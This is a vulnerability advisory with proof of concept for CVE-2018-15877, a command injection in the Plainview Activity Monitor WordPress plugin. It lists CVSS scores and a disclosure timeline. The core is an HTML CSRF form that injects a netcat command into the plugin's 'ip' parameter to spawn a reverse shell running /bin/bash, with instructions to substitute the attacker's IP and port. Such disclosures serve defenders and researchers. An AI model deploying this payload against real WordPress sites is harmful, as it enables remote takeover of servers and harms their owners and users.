WordPress Plugin Plainview Activity Monitor 20161228 Command Injection

2018.08.28
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- About: =========== Component: Plainview Activity Monitor (Wordpress plugin) Vulnerable version: 20161228 and possibly prior Fixed version: 20180826 CVE-ID: CVE-2018-15877 CWE-ID: CWE-78 Author: - LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre) Timeline: =========== - 2018/08/25: Vulnerability found - 2018/08/25: CVE-ID request - 2018/08/26: Reported to developer - 2018/08/26: Fixed version - 2018/08/26: Advisory published on GitHub - 2018/08/26: Advisory sent to bugtraq mailing list Description: =========== Plainview Activity Monitor Wordpress plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability, but this plugin version is also vulnerable to CSRF attack and Reflected XSS. Combined, these three vulnerabilities can lead to Remote Command Execution just with an admin click on a malicious link. References: =========== https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/ PoC: --> <html> <!-- Wordpress Plainview Activity Monitor RCE [+] Version: 20161228 and possibly prior [+] Description: Combine OS Commanding and CSRF to get reverse shell [+] Author: LydA(c)ric LEFEBVRE [+] CVE-ID: CVE-2018-15877 [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" /> <input type="hidden" name="lookup" value="Lookup" /> <input type="submit" value="Submit request" /> </form> </body> </html>


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